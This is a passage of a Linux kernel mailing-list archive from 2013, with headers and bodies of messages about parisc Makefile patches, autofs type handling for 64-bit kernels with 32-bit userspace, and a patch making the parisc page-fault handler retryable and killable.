@@ -65,6 +64,10 @@ ifndef CONFIG_FUNCTION_TRACER
   cflags-y	+= -ffunction-sections
 endif
 
+# Use long jumps instead of long branches (needed if your linker fails to
+# link a too big vmlinux executable)
+cflags-$(CONFIG_MLONGCALLS)	+= -mlong-calls
+
 # select which processor to optimise for
 cflags-$(CONFIG_PA7100)		+= -march=1.1 -mschedule=7100
 cflags-$(CONFIG_PA7200)		+= -march=1.1 -mschedule=7200
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.autofs
Subject: Re: [PATCH] parisc: unbreak automounter support on 64-bit kernel
 with 32-bit userspace
Date: Thu, 31 Jan 2013 13:46:11 -0800
Lines: 21
Approved: news@gmane.org
Message-ID: <510AE623.7000609@zytor.com>
References: <20130131200110.GA6032@p100.box>  <1359664008.2468.5.camel@dabdike> <510AE21D.2090002@zytor.com> <1359668524.2468.12.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1359668794 15182 80.91.229.3 (31 Jan 2013 21:46:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Jan 2013 21:46:34 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, Ian Kent <raven@themaw.net>,
	autofs@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jan 31 22:46:54 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1U11y7-0006nu-BW
	for glk-linux-kernel-3@plane.gmane.org; Thu, 31 Jan 2013 22:46:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755112Ab3AaVq0 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 31 Jan 2013 16:46:26 -0500
Original-Received: from terminus.zytor.com ([198.137.202.10]:44364 "EHLO mail.zytor.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752052Ab3AaVqX (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Thu, 31 Jan 2013 16:46:23 -0500
Original-Received: from anacreon.sc.intel.com (jfdmzpr06-ext.jf.intel.com [134.134.137.75])
	(authenticated bits=0)
	by mail.zytor.com (8.14.5/8.14.5) with ESMTP id r0VLkGjP026011
	(version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO);
	Thu, 31 Jan 2013 13:46:17 -0800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130110 Thunderbird/17.0.2
In-Reply-To: <1359668524.2468.12.camel@dabdike>
X-Enigmail-Version: 1.5
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1433343 gmane.linux.ports.parisc:4773 gmane.linux.kernel.autofs:6471
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1433343>

On 01/31/2013 01:42 PM, James Bottomley wrote:
> On Thu, 2013-01-31 at 13:29 -0800, H. Peter Anvin wrote:
>> On 01/31/2013 12:26 PM, James Bottomley wrote:
>>> [adding autofs list and maintainer for their perusal and ack, although
>>> this is an obvious fix to me
>>>
>>> James]
>>
>> The #if list probably should be inverted, and only specific platforms
>> should have unsigned long...
> 
> The whitelist is 64 bit only platforms, like ia64, isn't it?  So yes,
> they're far less numerous.
> 

Correct.  It is basically the 64-bit platforms without any 32-bit
userspace, like Alpha and IA64.

	-hpa



From - Thu Nov 08 21:08:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: enhance automatic CONFIG_CROSS_COMPILE detection
Date: Thu, 31 Jan 2013 23:04:12 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20130131220412.GA15355@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1359669858 25073 80.91.229.3 (31 Jan 2013 22:04:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Jan 2013 22:04:18 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 31 23:04:38 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U12FK-0001bK-4B
	for glpp-linux-parisc@plane.gmane.org; Thu, 31 Jan 2013 23:04:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755450Ab3AaWES (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Jan 2013 17:04:18 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:55474 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755014Ab3AaWER (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Jan 2013 17:04:17 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.29]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0LrpCq-1Uyjbd3dpG-013bAu for
 <linux-parisc@vger.kernel.org>; Thu, 31 Jan 2013 23:04:15 +0100
Original-Received: (qmail invoked by alias); 31 Jan 2013 22:04:15 -0000
Original-Received: from p54AD01F8.dip0.t-ipconnect.de (EHLO p100.box) [84.173.1.248]
  by mail.gmx.net (mp029) with SMTP; 31 Jan 2013 23:04:15 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX188xIEYCqE86Ik4s6blJMoV0mzytoe5UB4JHcxVKq
	KE94zUT5aSot0z
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4774
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4774>

The current Makefile will only choose the hppa64 cross compiler when
running natively on hppa in a 32bit userspace.
This patch additionally chooses the correct 32/64 bit hppa compiler even
when doing real cross compiling to hppa/hppa64 from another architecture.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 5707f1a..ed9a14c 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -32,11 +32,6 @@ ifdef CONFIG_64BIT
 UTS_MACHINE	:= parisc64
 CHECKFLAGS	+= -D__LP64__=1 -m64
 WIDTH		:= 64

From - Thu Nov 08 21:08:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.autofs
Subject: Re: [PATCH] parisc: unbreak automounter support on 64-bit kernel with 32-bit userspace
Date: Thu, 31 Jan 2013 23:10:10 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <1470501.uiZyX6kBKo@donald.sf-tec.de>
References: <20130131200110.GA6032@p100.box> <1359668524.2468.12.camel@dabdike> <510AE623.7000609@zytor.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart6267936.Gb1GP3pgWl"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1359670243 28979 80.91.229.3 (31 Jan 2013 22:10:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Jan 2013 22:10:43 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, Ian Kent <raven@themaw.net>,
	autofs@vger.kernel.org
To: "H. Peter Anvin" <hpa@zytor.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jan 31 23:11:02 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1U12LV-0005i3-Kv
	for glk-linux-kernel-3@plane.gmane.org; Thu, 31 Jan 2013 23:11:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755936Ab3AaWK1 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 31 Jan 2013 17:10:27 -0500
Original-Received: from mail.sf-mail.de ([62.27.20.61]:51715 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755635Ab3AaWKY (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Thu, 31 Jan 2013 17:10:24 -0500
Original-Received: (qmail 16900 invoked from network); 31 Jan 2013 22:10:18 -0000
Original-Received: from dslb-178-003-066-245.pools.arcor-ip.net ([::ffff:178.3.66.245]:58305 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <hpa@zytor.com>; Thu, 31 Jan 2013 23:10:17 +0100
User-Agent: KMail/4.9.5 (Linux/3.7.1-17-desktop; KDE/4.9.5; i686; ; )
In-Reply-To: <510AE623.7000609@zytor.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1433381 gmane.linux.ports.parisc:4775 gmane.linux.kernel.autofs:6472
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1433381>


--nextPart6267936.Gb1GP3pgWl
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="UTF-8"

H. Peter Anvin wrote:
> On 01/31/2013 01:42 PM, James Bottomley wrote:
> > On Thu, 2013-01-31 at 13:29 -0800, H. Peter Anvin wrote:
> >> On 01/31/2013 12:26 PM, James Bottomley wrote:
> >>> [adding autofs list and maintainer for their perusal and ack, although
> >>> this is an obvious fix to me
> >>> 
> >>> James]
> >> 
> >> The #if list probably should be inverted, and only specific platforms
> >> should have unsigned long...
> > 
> > The whitelist is 64 bit only platforms, like ia64, isn't it?  So yes,
> > they're far less numerous.
> 
> Correct.  It is basically the 64-bit platforms without any 32-bit
> userspace, like Alpha and IA64.

Arm64? Should this be a CONFIG_ARCH_CAN_HAVE_32BIT_USERSPACE that would cover 
this? And may e.g. be used to remove compat_ioctl on those archs, too?

Eike
--nextPart6267936.Gb1GP3pgWl
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.18 (GNU/Linux)

iEYEABECAAYFAlEK68kACgkQXKSJPmm5/E6d6ACfQXJciVY9c8+cXb/hw98Spx9d
jh8Anj+sHsqqiRcYfHzgCgV2g7s3DiQ5
=HJ+k
-----END PGP SIGNATURE-----

--nextPart6267936.Gb1GP3pgWl--


From - Thu Nov 08 21:08:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.autofs
Subject: Re: [PATCH] parisc: unbreak automounter support on 64-bit kernel
 with 32-bit userspace
Date: Thu, 31 Jan 2013 15:13:48 -0800
Lines: 34
Approved: news@gmane.org
Message-ID: <510AFAAC.8020609@zytor.com>
References: <20130131200110.GA6032@p100.box> <1359668524.2468.12.camel@dabdike> <510AE623.7000609@zytor.com> <1470501.uiZyX6kBKo@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1359674068 31351 80.91.229.3 (31 Jan 2013 23:14:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Jan 2013 23:14:28 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, Ian Kent <raven@themaw.net>,
	autofs@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 01 00:14:47 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U13LB-00077h-Qe
	for glpp-linux-parisc@plane.gmane.org; Fri, 01 Feb 2013 00:14:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752680Ab3AaXON (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Jan 2013 18:14:13 -0500
Original-Received: from terminus.zytor.com ([198.137.202.10]:45612 "EHLO mail.zytor.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751628Ab3AaXOM (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Jan 2013 18:14:12 -0500
Original-Received: from anacreon.sc.intel.com (jfdmzpr06-ext.jf.intel.com [134.134.137.75])
	(authenticated bits=0)
	by mail.zytor.com (8.14.5/8.14.5) with ESMTP id r0VNDrdg014826
	(version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO);
	Thu, 31 Jan 2013 15:13:54 -0800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130110 Thunderbird/17.0.2
In-Reply-To: <1470501.uiZyX6kBKo@donald.sf-tec.de>
X-Enigmail-Version: 1.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4776 gmane.linux.kernel:1433437 gmane.linux.kernel.autofs:6473
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4776>

On 01/31/2013 02:10 PM, Rolf Eike Beer wrote:
> H. Peter Anvin wrote:
>> On 01/31/2013 01:42 PM, James Bottomley wrote:
>>> On Thu, 2013-01-31 at 13:29 -0800, H. Peter Anvin wrote:
>>>> On 01/31/2013 12:26 PM, James Bottomley wrote:
>>>>> [adding autofs list and maintainer for their perusal and
>>>>> ack, although this is an obvious fix to me
>>>>> 
>>>>> James]
>>>> 
>>>> The #if list probably should be inverted, and only specific
>>>> platforms should have unsigned long...
>>> 
>>> The whitelist is 64 bit only platforms, like ia64, isn't it?
>>> So yes, they're far less numerous.
>> 
>> Correct.  It is basically the 64-bit platforms without any
>> 32-bit userspace, like Alpha and IA64.
> 
> Arm64? Should this be a CONFIG_ARCH_CAN_HAVE_32BIT_USERSPACE that
> would cover this? And may e.g. be used to remove compat_ioctl on
> those archs, too?
> 

compat_ioctl should be CONFIG_COMPAT.

	-hpa


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Catalin Marinas <catalin.marinas@arm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.autofs
Subject: Re: [PATCH] parisc: unbreak automounter support on 64-bit kernel with
 32-bit userspace
Date: Fri, 1 Feb 2013 14:51:30 +0000
Lines: 35
Approved: news@gmane.org
Message-ID: <CAHkRjk5TC+iqdJxJu1N5D-nMkb=UTff7dBVzSpdxoLMF0uN29Q@mail.gmail.com>
References: <20130131200110.GA6032@p100.box> <1359668524.2468.12.camel@dabdike>
 <510AE623.7000609@zytor.com> <1470501.uiZyX6kBKo@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1359730319 24603 80.91.229.3 (1 Feb 2013 14:51:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 Feb 2013 14:51:59 +0000 (UTC)
Cc: "H. Peter Anvin" <hpa@zytor.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, Ian Kent <raven@themaw.net>,
	autofs@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 01 15:52:18 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U1HyQ-0005nv-Kq
	for glpp-linux-parisc@plane.gmane.org; Fri, 01 Feb 2013 15:52:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756669Ab3BAOvy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 1 Feb 2013 09:51:54 -0500
Original-Received: from mail-lb0-f174.google.com ([209.85.217.174]:65278 "EHLO
	mail-lb0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756409Ab3BAOvx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 1 Feb 2013 09:51:53 -0500
Original-Received: by mail-lb0-f174.google.com with SMTP id l12so4647480lbo.33
        for <multiple recipients>; Fri, 01 Feb 2013 06:51:51 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=x-received:mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type;
        bh=voXDwa14gEUAXMZDtY9OvlVdWcqrQV8hvLFH4Fma78g=;
        b=Xa7+tv+sm9hWHF6RuonuVYSc8rboE+saaXxLZOTHNRad8vOuvLZUA90+a5hKfF/iYS
         guS+FBqSRstpwAIBZS9RJQO8cUxFu6DJ80GpGGif1uX+lJX6FMHDAmagal/ZD0hGf73V
         4uXyJeyz2XX2TVqAYV21vfxieS8QKYeaWqYVyjnippOw2HOUs/OzkaxVBZndyy1N9vQT
         rGqOEmk1jC7Ip5B4Z7WholJ7Sh787Xf+6AjLte8A0zlOMXlfWKNyKBBWbjo3qVf7pb/s
         w/e48u471+pFI/90f9d3ilcO07xcoIJyk2Hh88Mh5Op7HTpOUcVnHx3WUHDOrC9b4y97
         00pw==
X-Received: by 10.112.40.129 with SMTP id x1mr4905243lbk.95.1359730311066;
 Fri, 01 Feb 2013 06:51:51 -0800 (PST)
Original-Received: by 10.112.34.6 with HTTP; Fri, 1 Feb 2013 06:51:30 -0800 (PST)
In-Reply-To: <1470501.uiZyX6kBKo@donald.sf-tec.de>
X-Google-Sender-Auth: cK_U80AAFUcuzFUoY_iU3rPLJZg
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4777 gmane.linux.kernel:1433943 gmane.linux.kernel.autofs:6474
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4777>

On 31 January 2013 22:10, Rolf Eike Beer <eike-kernel@sf-tec.de> wrote:
> H. Peter Anvin wrote:
>> On 01/31/2013 01:42 PM, James Bottomley wrote:
>> > On Thu, 2013-01-31 at 13:29 -0800, H. Peter Anvin wrote:
>> >> On 01/31/2013 12:26 PM, James Bottomley wrote:
>> >>> [adding autofs list and maintainer for their perusal and ack, although
>> >>> this is an obvious fix to me
>> >>>
>> >>> James]
>> >>
>> >> The #if list probably should be inverted, and only specific platforms
>> >> should have unsigned long...
>> >
>> > The whitelist is 64 bit only platforms, like ia64, isn't it?  So yes,
>> > they're far less numerous.
>>
>> Correct.  It is basically the 64-bit platforms without any 32-bit
>> userspace, like Alpha and IA64.
>
> Arm64?

It supports 32-bit user-space (CONFIG_COMPAT). But we missed this
#ifdef for arm64. I'm not familiar with the autofs subsystem but at a
first look it seems that autofs_wqt_t types are not shared with user
space as part of a structure. It can come as an argument for an ioctl
command but as long as we don't expect this type to hold data larger
than 32-bit it should be ok.

-- 
Catalin
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH 17/19 v2] parisc/mm/fault.c: Port OOM changes to do_page_fault
Date: Sat, 02 Feb 2013 20:58:25 +0100
Lines: 111
Approved: news@gmane.org
Message-ID: <510D6FE1.7060507@gmx.de>
References: <1333195588-5490-1-git-send-email-consul.kautuk@gmail.com> <CAFPAmTQCRzKDTSTC+sHu4vPUgNYN70XqY4BzgPA_=jxJ4EOVLQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1359835110 9927 80.91.229.3 (2 Feb 2013 19:58:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 Feb 2013 19:58:30 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Kautuk Consul <consul.kautuk@gmail.com>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 02 20:58:50 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U1jEf-00043n-Qn
	for glpp-linux-parisc@plane.gmane.org; Sat, 02 Feb 2013 20:58:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758074Ab3BBT6b (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 Feb 2013 14:58:31 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:53374 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757731Ab3BBT6a (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 Feb 2013 14:58:30 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.31]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0LaIM4-1Uh3zG3mCU-00m6mg for
 <linux-parisc@vger.kernel.org>; Sat, 02 Feb 2013 20:58:28 +0100
Original-Received: (qmail invoked by alias); 02 Feb 2013 19:58:28 -0000
Original-Received: from p54AD07C7.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.7.199]
  by mail.gmx.net (mp031) with SMTP; 02 Feb 2013 20:58:28 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18D2ocSE7QDdnRGVbh5TYlVVQ6oxsOBlcw9edSOCV
	1V3rlvSt+AV9iS
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130110 Thunderbird/17.0.2
In-Reply-To: <CAFPAmTQCRzKDTSTC+sHu4vPUgNYN70XqY4BzgPA_=jxJ4EOVLQ@mail.gmail.com>
X-Enigmail-Version: 1.5
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4778
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4778>

Hi Kautuk,

sorry for the very late reply!

Anyway, the patch seems OK, and we will include it in the next parisc kernel.

THANKS!!!

Helge

@Dave, James: 
- This is the patch "11" in Dave's package...
- Kautuk even sent a testcase: http://marc.info/?l=linux-mm&m=133319623304492&w=2




On 06/12/2012 05:55 PM, Kautuk Consul wrote:
> Hi,
> 
> Can you please review this patch ?
> 
> Many archs have actually accepted this change so I think maybe this is okay. :)
> 
> Thanks,
> Kautuk.
> 
> On Sat, Mar 31, 2012 at 5:36 PM, Kautuk Consul <consul.kautuk@gmail.com> wrote:
>> Commit d065bd810b6deb67d4897a14bfe21f8eb526ba99
>> (mm: retry page fault when blocking on disk transfer) and
>> commit 37b23e0525d393d48a7d59f870b3bc061a30ccdb
>> (x86,mm: make pagefault killable)
>>
>> The above commits introduced changes into the x86 pagefault handler
>> for making the page fault handler retryable as well as killable.
>>
>> These changes reduce the mmap_sem hold time, which is crucial
>> during OOM killer invocation.
>>
>> Signed-off-by: Kautuk Consul <consul.kautuk@gmail.com>
>> ---
>>  arch/parisc/mm/fault.c |   29 ++++++++++++++++++++++++-----
>>  1 files changed, 24 insertions(+), 5 deletions(-)
>>
>> diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
>> index 18162ce..bd66ed6 100644
>> --- a/arch/parisc/mm/fault.c
>> +++ b/arch/parisc/mm/fault.c
>> @@ -175,10 +175,12 @@ void do_page_fault(struct pt_regs *regs, unsigned long code,
>>        struct mm_struct *mm = tsk->mm;
>>        unsigned long acc_type;
>>        int fault;
>> +       unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
>>
>>        if (in_atomic() || !mm)
>>                goto no_context;
>>
>> +retry:
>>        down_read(&mm->mmap_sem);
>>        vma = find_vma_prev(mm, address, &prev_vma);
>>        if (!vma || address < vma->vm_start)
>> @@ -201,7 +203,12 @@ good_area:
>>         * fault.
>>         */
>>
>> -       fault = handle_mm_fault(mm, vma, address, (acc_type & VM_WRITE) ? FAULT_FLAG_WRITE : 0);
>> +       fault = handle_mm_fault(mm, vma, address,
>> +                       flags | ((acc_type & VM_WRITE) ? FAULT_FLAG_WRITE : 0));
>> +
>> +       if ((fault & VM_FAULT_RETRY) && fatal_signal_pending(current))
>> +               return;
>> +
>>        if (unlikely(fault & VM_FAULT_ERROR)) {
>>                /*
>>                 * We hit a shared mapping outside of the file, or some
>> @@ -214,10 +221,22 @@ good_area:
>>                        goto bad_area;
>>                BUG();
>>        }
>> -       if (fault & VM_FAULT_MAJOR)
>> -               current->maj_flt++;
>> -       else
>> -               current->min_flt++;
>> +       if (flags & FAULT_FLAG_ALLOW_RETRY) {
>> +               if (fault & VM_FAULT_MAJOR)
>> +                       current->maj_flt++;
>> +               else
>> +                       current->min_flt++;
>> +               if (fault & VM_FAULT_RETRY) {
>> +                       flags &= ~FAULT_FLAG_ALLOW_RETRY;
>> +
>> +                        /* No need to up_read(&mm->mmap_sem) as we would
>> +                        * have already released it in __lock_page_or_retry
>> +                        * in mm/filemap.c.
>> +                        */
>> +
>> +                       goto retry;
>> +               }
>> +       }
>>        up_read(&mm->mmap_sem);
>>        return;
>>
>> --
>> 1.7.5.4
>>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
